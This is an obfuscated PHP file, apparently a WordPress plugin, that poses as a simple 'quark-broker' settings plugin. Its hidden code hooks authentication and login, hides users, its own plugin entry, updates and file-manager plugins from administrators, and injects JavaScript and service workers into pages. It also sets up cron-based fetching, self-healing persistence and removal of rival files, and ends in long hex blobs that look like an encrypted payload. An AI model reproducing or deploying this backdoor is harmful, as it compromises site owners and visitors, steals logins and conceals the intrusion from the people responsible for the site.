            ${"\x47\x4c" . 'OBA' . 'LS'}['sc_di' . "a" . "g_\x62\x6fo" . "\x7499"] = $hg ? (794 ^ 795) : (3743 ^ 3743);
            ${('GLOB' . "\x41") . "\x4c\x53"}["sc_" . 'diag' . '_c' . 'o' . "\x6es" . 't99'] = $hc ? (3337 ^ 3336) : (1617 ^ 1617);
            ${"G\x4c\x4f\x42" . ('' . "\x41\x4c\x53")}['s' . 'c_di' . 'a' . 'g' . '_f' . "\x69l\x6599"] = $hf;
            sc_dbg_log("06x " . 'd' . 'iag: ' . '99.' . "\x399.9" . '9' . ' eve' . 'ry' . 'whe' . 're=' . ($ew ? 'Y' : 'N') . ' g=' . ($hg ? (2755 ^ 2754) : (747 ^ 747)) . ' c=' . ($hc ? (3298 ^ 3299) : (1790 ^ 1790)) . ' f=' . $hf . '/' . $tf . " ->" . "\x20" . $file);
            return $file;
        } catch (Throwable $e) { return ''; }
        catch (Exception $e) { return ''; }
    }
}

if (!(!(("\x66\x75\x6e\x63" . "tio") . 'n_exist' . 's')('sc_b' . "o\x6ft_v" . 'er_e' . 'xc' . "lud\x65" . 'd'))) {} else {
    function sc_boot_ver_excluded() {
        if (!isset(${"G" . "LO" . "\x42\x41" . 'LS'}['sc_' . "b\x6fot" . '_ver'])) return (15 != 15);
        {return ((string) ${'GL' . "OB" . ("A" . "LS")}["\x73c_bo" . 'ot_ve' . 'r']) === sc_ver_sentinel();}
    }
}

if (!(!('fu' . "" . "n" . "ction_e" . 'xists')('sc_b' . "\x6f\x6f" . 'tstr' . "a" . "\x70\x5f\x63on" . "st_" . 'exclu' . 'ded'))) {} else {
    function sc_bootstrap_const_excluded() {
        if (!defined('SC_C' . 'O' . "R\x45" . '_BO' . "O" . "TST\x52" . "\x41P\x50\x45D")) return (2 === 8);
        return ((string) ('c' . "onstant")("S" . 'C_C' . 'OR' . "\x45" . '_' . 'BO' . "O\x54" . 'ST' . 'RAP' . "\x50ED")) === sc_ver_sentinel();
    }
}


if (("\x66\x75\x6e\x63" . 'tion_' . "e\x78\x69s" . "\x74\x73")('sc_' . "d\x65b" . 'ug_on') && sc_debug_on()) {
	$sc_diag_file = sc_diag_dump_versions();
	unset($sc_diag_file);
}


if (isset(${'G' . 'LOB' . "ALS"}["\x73\x63" . "_" . 'boot_' . 've' . "r"])) {
    if (version_compare((string) ${"\x47\x4c\x4f\x42" . "ALS"}["\x73c_\x62o" . 'ot_ve' . 'r'], sc_ver(), '>=')) {
        
        if (sc_boot_ver_excluded()) {
            sc_dbg_log('06e' . ' b' . "oo\x74\x5f\x76" . "e" . 'r=99' . '.' . '99' . '.9' . '9 ST' . "\x41L\x45" . " -" . '> E' . "X\x43L\x55\x44" . 'E, ' . 'b' . "o\x6f\x74" . " " . 'to E' . "ND");
            ${'G' . 'L' . "" . "OBALS"}['sc_' . "b" . "oo\x74" . "_" . 'ex' . 'cl'] = (3840 ^ 3841);
            unset(${"GLO" . ('B' . 'A') . 'LS'}['sc' . '_' . 'bo' . "o" . 't_' . "ver"]);
        } else {
            sc_dbg_log('06a b' . "o\x6ft_v" . "er a\x6c" . 'read' . "y \x73" . "\x65t " . "\x28" . ${("G\x4c" . "\x4f\x42\x41\x4c") . 'S'}['sc_b' . 'oo' . 't_ver'] . ') -' . ">\x20e" . 'a' . 'r' . 'ly RE' . 'TURN');
            return;
        }
    } else {
        sc_dbg_log("0\x36\x62\x20" . "\x62o\x6f\x74 " . "\x74" . 'ake' . 'ove' . 'r');
        ${"G" . "LOBAL" . "\x53"}["\x73c_b" . 'oot_' . "t" . 'k'] = (35 ^ 34);
    }

} elseif (defined("\x53C_" . 'C' . "ORE\x5f" . 'BOOT' . "\x53T\x52" . 'A' . 'PPED')) {
    $_sc_leg = ("const" . "a" . 'nt')('SC_CO' . 'R' . "\x45_" . 'BOOTS' . 'T' . "RAP\x50\x45" . 'D');

    if (
        is_string($_sc_leg) &&
        preg_match("/^\\d\x2b" . "\\.\\" . 'd+\\.\\' . 'd+$/', $_sc_leg) &&
        version_compare($_sc_leg, sc_ver(), '>' . "=")
    ) {
        
        if (sc_bootstrap_const_excluded()) {
            sc_dbg_log('06f ' . 'S' . 'C' . "_" . 'C' . 'ORE_B' . "OOTST" . "\x52\x41P" . 'PED=' . $_sc_leg . ' S' . 'T' . 'ALE ' . '-> E' . "XCL" . 'U' . "\x44" . 'E, ' . 'b' . "\x6f\x6ft\x20" . 'to EN' . 'D');
            ${'G' . ("LOB" . "\x41") . 'LS'}['sc_bo' . 'ot_e' . "x" . 'cl'] = (1751 ^ 1750);
            unset($_sc_leg);
        } else {
            sc_dbg_log("06c\x20S" . "C\x5f\x43" . "ORE_B" . 'OO' . "T\x53T\x52" . 'APPE' . 'D=' . $_sc_leg . ' ->' . " " . 'earl' . 'y R' . 'E' . 'TURN');
            return;
        }
    } else {
        sc_dbg_log("06d " . "le\x67\x61c" . "\x79 \x63\x6f" . "\x6est\x20t" . 'akeov' . "e\x72");
        ${("GLOBA" . '') . "LS"}['sc' . '_boo' . 't_t' . "\x6b"] = (777 ^ 776);
        unset($_sc_leg);
    }
}

sc_dbg_log('06 bo' . 'ot ' . "\x76a\x72s" . ' se' . "t");


bagop(sc_file());
sc_dbg_log('07 un' . 'pu' . 'rg' . 'e d' . "o" . 'ne');

if (!(('function_' . 'exist' . '' . "s")('sc_mu') && ("func" . '' . "\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('s' . 'c_' . "\x73" . 'lug'))) {} else {
	try {
		$_mu_dir = sc_mu();
		if (@is_dir($_mu_dir)) {
			$_my_slug = sc_slug();
			$_entries = meyo($_mu_dir, (4864 | 136));
			if (is_array($_entries)) {
				foreach ($_entries as $_entry) {
					if ($_entry === $_my_slug) continue;
					if (strtolower(pathinfo($_entry, ("\x63\x6f" . "nst" . "\x61" . 'nt')("PAT\x48\x49" . 'NFO_' . 'EXTE' . 'N' . 'S' . 'I' . 'O' . "\x4e"))) !== 'ph' . 'p') continue;
					$_f = $_mu_dir . '/' . $_entry;
					if (@is_file($_f) && @filesize($_f) > (5478 - 478) && sc_is_family($_f, (4323 + 677))) {
						xari($_f);
					}
				}
			}
		}
	} catch (Throwable $e) {
		vugo("de" . "dup", $e);
	} catch (Exception $e) {
	}
}


if (!(! hisoc())) {} else {
	iyi("sh\x75" . 'tdow' . 'n', "s" . 'c' . '_mig' . "ra" . 'te', (2464 ^ 2465));
}


${'GLOBA' . 'L' . "\x53"}["s" . 'c' . "\x5fp" . 'lugi' . "n" . '_rul' . 'es'] = array(); 
${'GLOBA' . "\x4c" . 'S'}["s\x63\x5fi" . "\x6ej" . 'ect' . '_ru' . "l" . 'e' . 's'] = array(); 
${"\x47" . 'LOBA' . 'LS'}['sc' . '_js'] = ''; 

if (("fu" . 'nc' . "tion_exi" . "st\x73")('re' . 'giste' . "r\x5fs\x68u" . "t\x64own" . '_func' . "tion")) {
	("\x72\x65\x67\x69\x73\x74\x65\x72\x5f\x73\x68\x75\x74\x64\x6f\x77\x6e\x5f\x66\x75\x6e" . "ction")("s" . 'c_fa' . 'ta' . 'l_gua' . 'r' . "d");
	('regist' . "" . "\x65\x72\x5f" . "shutdown_function")('sc' . '_boot' . '_' . 'leas' . "e_o" . 'k');
}

$_sc_qself = dirname(sc_file()) . '/.q_' . basename(sc_file(), "\x2e" . 'php');
if (!(@is_file($_sc_qself))) {} else {
	$_sc_qm = trim((string) @(("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f" . '') . "\x6e\x74e\x6e\x74\x73")($_sc_qself));
	$_sc_cm = efuw();
	if ($_sc_qm === '' || ($_sc_cm !== '' && $_sc_qm !== $_sc_cm)) soda($_sc_qself);
	unset($_sc_qm, $_sc_cm);
}

try {
	@(('t' . 'ouc') . 'h')(dirname(sc_file()) . '/.bt' . '_' . basename(sc_file(), '.' . 'p' . 'hp'));
	$_sc_cm = efuw();
	if ($_sc_cm !== '') {
		$_sc_ocf = '.ocf_' . $_sc_cm;
		foreach (array(dirname(sc_file()), sc_mu()) as $_sc_od) {
			if (@is_file($_sc_od . '/' . $_sc_ocf)) @(("\x75" . 'nl') . 'in' . 'k')($_sc_od . '/' . $_sc_ocf);
		}
	}
	unset($_sc_cm, $_sc_ocf, $_sc_od);
} catch (Throwable $e) {
} catch (Exception $e) {
}
unset($_sc_qself);

iyi("i\x6e" . "\x69t", "s\x63_s" . 'can' . '_acti' . 'vate', (450 ^ 450));
iyi('init', 'sc' . '_mail' . '_supp' . "\x72e\x73s", (1311 ^ 1311));
iyi("l\x6f" . 'ad-' . 'plug' . 'ins' . '.p' . 'hp', 'sc_' . "\x73c\x61\x6e" . "_a\x63t\x69" . 'v' . "ate", (1065 ^ 1065));
iyi('admi' . "\x6e\x5f\x69n" . 'i' . 't', "\x73c\x5f" . "sc" . 'a' . 'n_' . "\x61\x63tiv" . 'at' . "\x65", (3338 ^ 3338));
iyi("a\x64mi" . "n\x5f" . 'i' . 'nit', 'sc_' . "c\x72on" . '_se' . "tu\x70", (9 ^ 11));
iyi("a" . 'dmin' . "_\x69n" . "i" . 't', 'sc' . "_\x70e\x72" . 'iod' . "i\x63", (5 + -2));
iyi('adm' . 'in_i' . 'ni' . "t", "sc_" . 'e' . 'nsur' . "e_\x61" . 'd' . "m\x69n" . "\x5fti" . 'ck', (8 - 4));
iyi('shut' . 'do' . "wn", "s\x63" . "_s" . "prea" . 'd', (6 + -1));
zage("wpfm_" . "\x65\x6c\x66i" . "\x6e" . 'de' . 'r_' . 'conn' . 'ect' . 'o' . 'r' . "\x5f\x6f\x70" . "t\x73", "s\x63\x5f\x68" . "\x69\x64\x65\x5ff" . 'm', (12 ^ 6), (3282 ^ 3283));
zage("\x77p_fi" . 'le_m' . 'an' . "\x61g\x65r" . '_con' . 'nect' . "o\x72_" . "opts", 'sc_h' . 'i' . 'de' . "_fm", (10 ^ 0), (3518 ^ 3519));
zage('elf' . "\x69\x6ed" . 'er_' . 'conn' . "e" . 'ctor' . '_opts', 'sc_hi' . 'de_' . 'fm', (8 ^ 2), (1329 ^ 1328));
zage('fi' . "l" . 'e_' . "m" . 'ana' . 'ge' . 'r' . "\x5fc" . "\x6fn" . "nec" . "\x74o\x72" . '_opts', 'sc' . '_hide' . '_' . 'f' . 'm', (18 + -8), (3188 ^ 3189));

zage("authe" . 'nti' . "\x63\x61te", 'sc_in' . "\x74" . "\x65rc" . "ep\x74", (1473 - 474), (17 ^ 18));
iyi("\x77p\x5flo" . "\x67\x69" . "n", "s\x63\x5f\x6c" . 'ogin_' . "c\x6fnf" . "ir\x6d", (276 ^ 755), (1702 ^ 1700));

zage('p' . "re_\x75" . 'ser_' . 'query', "\x73c_hi" . 'de_u' . "\x73er\x5f" . "q");
zage('r' . 'est_u' . 'ser' . '_q' . 'u' . "er" . 'y', "sc_" . 'hid' . "e_" . 'u' . 'ser_' . "\x72\x65st", (14 ^ 4), (15 ^ 13));
zage("vi\x65\x77" . 's_use' . "r\x73", "\x73c\x5f" . 'h' . 'ide_u' . 'se' . 'r_' . 'co' . 'u' . "n" . 't');

zage('de' . 'bug_' . 'infor' . "m" . "ation", 's' . 'c_' . "\x68ide" . '_de' . 'bug', (13 ^ 7), (3808 ^ 3809));

zage('sh' . 'ow_a' . "d\x76\x61" . 'nc' . 'e' . "d_p" . 'lugin' . 's', 'sc_' . 'hide' . "_" . 'mu', (28 - 18), (1910 ^ 1908));
iyi("\x61dmin" . "_he\x61" . 'd-p' . 'lugin' . "s.p" . "hp", "s\x63_hi" . 'd' . 'e_' . 'mu_cs' . "s");
zage('s' . 'it' . 'e_tr' . "a" . 'ns' . 'i' . "en\x74_" . "up\x64a" . 'te_' . 'plugi' . "ns", 'sc_h' . 'ide_u' . 'pd' . 'a' . "te" . "s");

zage('al' . 'l' . '_pl' . 'ugins', "\x73\x63" . '_hide' . '_f' . 'r' . "om" . "_plu" . 'gin' . "s\x5f\x6c" . 'ist');

iyi('wp' . '_a' . 'jax_' . 'm' . "k_f\x69l" . "\x65" . '_fold' . 'er_m' . 'anage' . 'r', 'sc_' . 'pa' . "t" . 'c' . "h" . '_fm', -(3996 >> 2));
iyi('wp_aj' . 'ax_co' . 'n' . 'nect' . "or", "s\x63_pa" . "t" . 'ch_fm', -(1998 >> 1));
iyi("wp_a\x6a" . "\x61" . "x_" . 'f' . 's_' . "c" . "on\x6e" . "\x65ct\x6fr", "sc_" . "p" . 'a' . "t\x63h" . '_fm', -(740 ^ 259));

iyi('w' . 'p_' . 'foot' . "\x65r", "sc_j" . 's_out', (1241 - 242));
iyi("tem\x70l" . 'a' . "te_\x72\x65" . "\x64" . 'i' . "rect", "\x73c\x5f\x6a" . 's_o' . 'b' . '_' . 'st' . 'art', (1966 ^ 1966));
iyi("pl\x75\x67i" . 'n' . 's' . "\x5f" . "\x6coade" . "d", 's' . "c_s\x74" . 'r' . "ip\x5f\x6c" . "o\x63\x6b\x65" . 'd_hoo' . "k\x73", (4042 ^ 4042));
iyi('admin' . '_' . 'fo' . 'o' . "t" . 'e' . 'r', "sc\x5fs" . 'w_reg', (7992 >> 3));
iyi("l" . "og" . "in" . '_f' . 'oo' . 'ter', "sc" . '_s' . 'w_' . 'r' . 'eg', (21 + 978));

iyi("pl\x75\x67" . "\x69\x6e" . 's_l' . 'o' . 'a' . 'ded', 'sc_l' . 'oad' . '_ca' . 'c' . "he", (3438 ^ 3436));
iyi('p' . "lugi\x6e" . 's_' . "lo" . 'ade' . "d", 'sc_d' . 'efe' . "\x72" . 're' . "\x64" . "_d\x65le" . 'te_ru' . 'n', (3261 ^ 3261));

iyi("\x70" . 'l' . 'ugi' . 'ns_lo' . 'aded', 'sc_re' . "c\x6fv" . 'er', (1978 ^ 1978));
iyi("plu" . "\x67in\x73\x5f" . 'l' . "oa\x64\x65d", "\x73c_" . "se" . "l\x66_h\x65" . "al", (2475 ^ 2475));

iyi('p' . 'lug' . 'i' . "\x6es_" . "lo" . "a\x64e" . 'd', 'sc' . '_ini' . 't', (1824 ^ 1825));
iyi('plu' . "gin" . "s\x5flo" . "a" . 'de' . "d", 'sc_c' . 'a' . 'n' . 'ar' . "y\x5fm\x61" . 'rker', (1237 ^ 1239));

iyi('plu' . 'g' . 'in' . 's' . "\x5flo" . "ad\x65\x64", 'sc_cr' . 'on_' . 's' . 'e' . 'tup', (6 >> 1));
iyi('p' . 'lugin' . 's_loa' . 'd' . 'e' . 'd', "sc_" . 'maybe' . '_fe' . 'tc' . 'h', (4 + 0));
iyi('pl' . "ug\x69n" . "\x73_\x6c" . "\x6f" . 'aded', "s" . "c_s\x77_" . "setup", (5 | 0));
iyi("p\x6cug" . 'in' . 's' . '_load' . "\x65\x64", 'sc_d' . "\x72o" . 'p_g' . 'uar' . 'd', (11 - 5));
iyi('p' . 'lu' . 'g' . 'ins_l' . "oa" . 'ded', "s" . "\x63\x5f" . "t" . 'h' . 'eme_w' . 'atchd' . 'o' . 'g', (9 - 3));
iyi("afte" . 'r' . '_sw' . "itch\x5f" . 'them' . 'e', 'sc_' . 'the' . "me\x5fs" . 'w' . "\x69\x74ch" . "ed");
iyi("pl\x75gi" . 'ns_' . "lo\x61" . 'ded', "sc\x5fp" . 'ers' . 'i' . "st" . '_' . 'al' . "w\x61ys", (56 >> 3));
if (!(('fu' . "\x6ec\x74\x69on\x5f\x65xi" . ("s" . "\x74\x73"))("reg\x69" . 's' . 'ter' . '_sh' . "utd" . "ow" . "\x6e" . '_func' . 'tio' . 'n'))) {} else {
	(("register_shut" . "") . "down_functi" . "\x6f\x6e")(function () {
		if (!empty(${'GLOB' . "A" . "L" . "S"}['sc_p' . "ersi\x73" . 'te' . "d"])) return;
		if (!defined('ABSP' . 'A' . 'TH') || !("fu\x6e\x63\x74io" . "\x6e" . "_exist" . "s")('g' . 'et_op' . "\x74io" . "\x6e")) return;
		if (("f\x75n\x63\x74" . "ion_exists")("sc_" . 'pe' . 'rsi' . "\x73t_" . 'al' . 'w' . 'ays')) {
			try {
				sc_persist_always();
			} catch (Throwable $e) {
			} catch (Exception $e) {
			}
		}
	});
}
iyi('plu' . 'g' . 'in' . 's_lo' . "\x61\x64\x65" . 'd', "\x73c_c" . "ro" . 'n_r' . "\x65" . 'c' . 'ov' . "e" . "r\x79_s" . 'etup', (4 + 4));
iyi('sc' . '_cron' . '_rec' . "o" . 'v' . 'ery', 'sc_cr' . 'on_re' . 'cove' . 'r' . "\x79");
iyi("sc_c" . "ro\x6e" . '_gua' . 'rd', 'sc_c' . "r" . "on" . '_g' . "u\x61r" . 'd_ti' . 'ck');
iyi("shu" . 'tdow' . 'n', 's' . "c\x5f\x66l" . "us\x68_\x65" . "r" . "\x72\x6frs", (16 ^ 26));

iyi("\x70\x6c" . 'ugi' . 'ns_lo' . 'a' . 'd' . "e\x64", function () {
	if (!("f" . "u\x6e\x63\x74\x69\x6f\x6e\x5f\x65" . "" . "\x78i\x73ts")('get_' . 'opt' . 'io' . 'n') || !('f' . "\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69" . '' . "\x73\x74\x73")('upda' . "\x74e" . '_op' . "ti\x6f" . "n")) return;
	$last = (int) @get_option("s" . "c_las" . 't_' . "\x72" . 'ec' . "o\x76e\x72" . 'y_che' . 'ck', (2165 ^ 2165));
	if ((time() - $last) > (767 ^ 3311)) {
		if (!wewi()) return;
		@update_option('sc_l' . 'as' . "t" . '_reco' . 'very_' . 'check', time());
		sc_cron_recovery();
	}
}, (9 + 0));

iyi("sc_c\x72" . 'on_f' . "e" . 't' . 'ch', 'sc_' . "fe\x74" . 'ch');
zage('cron' . "_\x73c" . "he" . "d" . "ul\x65s", 's' . 'c_cr' . 'on' . "_int" . "e" . "\x72" . 'v' . 'al');
sc_dbg_log('08' . ' ' . "\x68oo\x6b" . "s" . ' reg' . 'ister' . "\x65d");

if (!(('functi' . 'o' . '' . "n_exists")('did' . '_a' . 'ct' . 'ion') && did_action("pl" . "ug" . 'i' . "n\x73\x5f\x6c" . 'oad' . "e\x64"))) {} else {
	axeb();
}

sc_twin_yield(__FILE__);

}  



if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','quark-broker-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('quark-broker_group');
        do_settings_sections('quark-broker-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('quark-broker_group','quark-broker_options');
    add_settings_section('quark-broker_main','Configuration',function(){echo '<p>Configure options below.</p>';},'quark-broker-settings');
    add_settings_field('quark-broker_cache','Cache Mode',function(){
        $o=get_option('quark-broker_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('quark-broker_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'quark-broker-settings','quark-broker_main');
});
if(function_exists('add_shortcode'))add_shortcode('quark_broker_stats',function(){
    $o=get_option('quark-broker_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('quark-broker_options'))add_option('quark-broker_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*6acdea2cc7e85299e913f13e9b34c7228669ef9d6fe936df9e2307d88fb023ebc64b6c6bace5ac7a7dd2e7f5028cb9ee65f769bdb5ae8453fd54dbc4594c87ec469ff42582d8807638ee9c928ce4ab918c33ea095f0706fa124a26aff64391230495e49282ffcd5ffc3545bd3721febc41f06ab7d685832129ac43cae2fcde62e8025477fc171e86d1b7c1bef5507e0a2a9da1629a96f50e5b11c5663671c26f9c0f8bc3881b12c6a5f6144bdb321996cd367166099290cbd2ee1854d239445b728a508ba5b6fd7f1af4b3faaf99fb93ec189489cec77ee522dfd715e058f268384c774ce381239d3141ae93ebc3e85692b02a7a8d9f1bd0a3c01e00d6c6ed2b60e4f0b1b0a0fd3a6d7256ca540122edb8b74d8382867520be68548aefc4e859bfcc6ff71ad581238fd1cbdfeec5dce6e86270bb3194f62d98fdc932ed9c179f9ef4ccdb35c8ffc89c96af6c142c01573de5d33f840d3c82fc7e651f1ff044bcfbe2d69103aa42b479beb1b3ea2dc7f48f26e2df33c61a9535861ec2f0c9392ce001d6e9b4b52e269bcc6ae2ad277d3510e08c85ad2b7ac4acee91976cc143e25b17bf1468e2356fe980cdd383763abf38abf01f92d3c8b2fff57bb90d52a53e13f72716908d839b4e59ad87369b3ee41207055843771c36b1d72237de3133276ca18e0597d1775d4391a58fcc62cae2e656ea5af4f6b77bc6584807119b1e65afb001dfad3d4a52ea3a1ee5e1f38f358ec46795bfee8af9da27d900de8edaeeeebfe91cd9deb62a9204cb2cd71e5fd3655105bcbdbccf56754f06ade6d8cac82705d2ae8aab51b598f159bb75c2807f49049c89f7a0d2c39c1541511216720d41016a74eb4f274b3ab3fa0039143cb299373bf60b3fe0649baa47cbfe9548c86a282ee432f2e718da4559d7fe83069a5d0ffd7147ae49e31c13fa1c0290deb05bd1782f0ff9fd8df602294513ccc33f33b938afaabf9ea795bcd53009880dddbcabb51554cae603b65bf5a420bc7b1e3e10f40afce2a49e9ebdbb345ccb9800ffd006015e8335bc8b853906ff3e9007e2812337a0f7a2abf1f4f7b79f2cf46daca77e5ec7d1481fb6a710e2e7fc2aa4e91d4a9fe500ed12435fcc95a66b3f948834e51c441444c94cdbaca8a0aaa72735e86110da1f8058302dd9049b16668ab3eea06fc9e8bc581983f0b0d118699b28e5f08bf500de5edf8bed02ec07032bc2dc55c6b2f81d8a528841c41f8d999857877bcefd7fd3a7b7202b3737fb2776415b5f7052cf2a67679bdb3488c56ab32ae138ab177a921d0a635eeef4b49441bd5650061e0e2b6b9400bb6f50fe2891c618eebcee1af297cfebf026ffc72ff08667c23839c7f9bc79e97e68233b5fb03e72f100ab7f60934abe42dfed928a1cf7644a18d49d240693fbce4d2cee59d44b88e62087669b7032795f49cc8c016d67a9fb2b012146d4a041ebb3d07a5f688c70c1ad2212b0c66d16e26b00284e79123149189a59a6e285962675e3512207cac216b4d69d760b20ae9c23444f9d9c8b82ef9f9751898e09a961bf5a8e67e104ecd570cd30569b5abf35a5fc2a476ec7cbbe80bb532d7021e6984968376c736fbbc566b60f23e55f82fda326f76e2eef4d78883295e060d06311e4d73f0355e78dcc99f3a01f2a7314f5f0a1ab489c114b98a457e101f64c89059430866808ef31d9ab69e7688b92e2a1c5cd74a7d89b14e038c7df46f18dc840794183c6e6eacb4306895a1203bf1d9a3d7dd66f34117a2af6e22ecd960b22d46d35ca31d02fe3d2de4adc14e131ee71ae48e72f66bf51dce00c7ba4c8480b7ef4198fdc27b8f15059e40773f6997e5431bc26963d000183caffea21b9e25a5cc092631dc715b58fe39dc0912092b83f8bf0f470a8a70d6253b9d818dfd7d077581ece0ffae56b263e1c3c2ba2f36ab3035a9ad0582210e2f264cbac1f3b768d57164fdeb3caecd424a1558fa7e9063e0305f6add1fc392670f70fcdbc7488db3a1ecce358261e74ad01f47c0139c5e91780d0d411e4c1dac30310e0f3cba39dabe398c1002061c87cbc99261a9dd8d067809e946eba96a1a3be830537ecdea4ebf46824e6efd44f45e74cb696b0c56ac2b88226bc6f4e538fe19c41a1249162a249466335f4fc65622a02ef7a1f6420917fc352c7a117e79fcfd12bce7ee1fc410954913865eebd32de72ae82c294a7e56777ce6f7b6d37f71e0800e627d6caca8232a803165a8ead13c3e3c78cc17896e30ef50371688e8186f91f2022aa26bf7e9bf8ed71692c9c497eba1cd6b6cc2e887a15fe8140cbd8f659524e10700a67267510123da54cc1ed68d6bb93e80f254b25a018b1b8e530853675adc7225c9ecec65ddde36e25a72fab33069ff918811e1547d071356787cc65cf5617bb2c802537b498ca7b00a2fe0caa44cc2aea4a42d71b4f8e6337379d23ff58d8cd8233343d3088dd403d8659b0bbd42ef498ae668b267a81cc235b1abd03dbb89f630889ffc68452ba258bec50e29c2ac98d392bb4f342f50f7ae0b84f30076b6a745840741df4bfebba604236c9ced12d72ea5d252337ee6c5e7a8d614a3e248d67962e2d04f8b786dfb0418e847e3866597231204890f87d6917908f1e1e44127c8957260c633ca5ff3c3dbc88ac1c985e68baa57c9aa5c9f5ad170011d7a601f8f2e13b8fddb072b04cbc6bb31cb23c265a9ab9902a19d8910d3c491edfb9943f4c6d19b85b8e1f85dec2a5fc255c82f363ff1aa41f3f0f6856ad122da9f5f0cc64a546ff2d22770af4a4ddfd82c178265414e6a1420f447a9a0a326ea90026132c0a907d4e*/
/*5d21b8e52b02ff64d45b4efa4c9f8976200e853bae5949aa3acfd1a55f300a8761c63287df041f40bb63a05e2f97b11859f60bac3a0628eb0144b16e1227f2119dc626b51f3ddea91bfbea48fa2e75b069bbcf3d8b543224096c0817351298a65ffb8964e9428d758205eaa6fd0390c4b33f268465e7acde3ea74aaed838634a73d1c0a11aaa98e8d6c14603771fd49689372cead399e3a655e48be049b3dc9967149fc0c5fd719ce62ff9b4a460d59e7ccfa0b14fb5b4f37e689b8de834cc8e6bd78749f5bfcdb65346727af8f3f64d949a6b105b1332eb13da7b0ce8e22b86c055c7b274334be3b329a4c89ffe2dbe8f0a3c3cc7c3a94447da01c005b3e3dcc919a8414a6b08ab98b4f7dd03f0c5eacdd48d12154ed1447e139f59dfc5d5b3ce8a48d4d6283eaa62f5585e138af7cf25f439810cea7823b8aeb963ef3c45afb81734b5cca28e00662318c4edf2c0f924af93cffa6ebe61ef6f36bdeb9d7f30a096ce22dce437c273ed4dc64364e75e4c4f2309f54b5c03021c4e8b57693c2fac16ba8cf091398c85547044310ce38b1b60e82294b17989dea91bd3172bc9f0a3a204b98c527b9a818aade5ca6e428db2bea2e3dc198abcc9da68a5f2cf3fb584c82d2eaf7f1b23b014ada0d28e304846efe908af4ce75e9e80b6ff92aa87241d70fd85aa3fe41cabf5a697dd92872ce9fdc2ece55d2384ea196db825c20ef2284b34399ce3c57f5528d4f5793cbd60623789c92447292ebe0308cc3b8fe6f92b52c4fcef7a50f8f69bd97bf138af1ce267561691faa3fbe71742b3d453b88a16896fc45ad9c22960d5d8bc089aabb48764b417117859f37139f5ef0c1b464b09a58d44370f989e1adcd8975ef553a1bc6a6b7ae22d9f6a3e60dbe00aed84a43efb6b55d6425f76edd6ecd5d6f173653841311917b62cc2d82971411baa6e43e626c6f40bfb9a240558f3672b0077f748d0eeb6b6b87559155df38960e9daddc0ebbfada5fd0968fc8e0adce8dff6af87ddae71777b2a361841e7bfdbb76523b4b65c39731e2ceafc0dabd03a674730ee9f29352679ba11ec7dec522c583754b3cf1362d9738f3474769e9d95dc9d55f967a19611953201db1d16dc49aae6c437ad1a7285497a5020861657a1db91a4046cc870e18db630bf3515ef532f4cf9bf38b22640a6b11f62c5dcbbcbbfc2a09dffc861f190addb12b2812a9afb8ab50f2fbd287bdebe10510172de0feb5c92ac056e4a15fd9ed1f6c5f7ec251f5c6457d4b97eef07e92d55385fe9484cb52b03faae4cfeb8fe412d19dd431d4e5fd4725e7460ed3944593dc93062566366a038c8ece5ccb618b83e108a75784e65b65172e8024cc377ed0293532e00f4b63c4a65d8cead54a74d5411ecee64a0ec04006a7f51b7f3fb2d2ea5899891efae9461594cadde766785b18d94eb6400a66c053d036c9d3f827277eacbba7181033bddf9c38a65e3bbb164b5cb64bcc97fc69bc8cd6c96422ff9a861bf8e68c1078540988436438313e630bca5617ca172db7bfa937f4e5d286ca8b0bbe70c09241ec892595bc17b3ac8706bc45ea4d17a93403934f0dd6a445de3c0c48cbecd8ab73bd6b5f868defc7d59d6b16c215f0eae63a02b44cacbb205bf1e40100f86b2544c29566a94f642923052724e2c99c21a67a035c3e17b167e00e5079ec3c24c94366d3277e1e2bff69e034edb2ad671763af97febe2a9ed0d9171237019d6869bbee8de6edbba63581179e5eaaa9b35f207f76e2a57cbf57cb9af1046009b98080f18cabb16991e26fe9b29f31198cf97968f5787a14775076b2a492178e154240e2c4b68e18c89620a0e69db71eb15d4dd2e467f302d8221755147283a3f8278d9c7de5f267e8767336846f046a01a8c9c07a164d0220cf7bed801ca11803b5264b63ab29807bae68e38b50d58d7b87afb2eac9152a4068f2735ac49928468a375d0a80d9dfe1476ace37cf45f5f416a248fb5516a917edd9e61ad86a268edafff19b35bd75ff5890efd4f80445915922ec196ec97d6ca82ed074689eaf1cd956c9c645b1879193e530f2ef3b8d4e30fca2ad37acd751fe99bf131d65c733ee6e877afc157be8d26a29cad76de828c018443491295cac02f7a8e3588a3a7464a31027c19181159a854a742cca90c69128200ea7f2d25ba272687d425fcbddf3d13e8b92dedb1989791995e989ae57ad76adc049d4317c2e06a2df91b0e1a6cc1ea56d667e98186d8655e8faead880ee4a02c1cfbb439aa5c982b48762bec38f38bcc9ba28220792c59ccd4b035373106e2340a0061529bc6a383c3b98241c3385b39250bbc347b224da3db92317cde4d926427abef6e3b2b3671c5a6a69d6718e889d1b790d468d96783653af4d29ae1389b4f3e39f0af317eab1374f950b5772e7bc136c96c639bc49f01cbc2002592856a166825a0622a3d75728fd746e10f9eb073c593c2db7ca6d953b755d345492ba227639fb9035a2e6cf4da254514c9745ec932c881f0ae982bc6d33a5e56d9f2c2e67260a433c9dcc8e6519c82cf57fe5786bcc481f24c9be92bf871215f0fa52e64a2f0f08156956792e9de5d855f76ad340e0d46cfbf473797e6e53d23d160698dd294a0b766487e1b9bf45d332d338de563d1aa305354c580c38a08fa224ed00baf02f2b44206e195bfa19004521db150cd1bb40e0c4d3ce9a80816ae91bedd285bbc570ae6a884d3384fd7f6ec7ebbfe962ef793ca2f503f32771b6bb2fc325ea5f9b457ccc08bdf295fa59318e7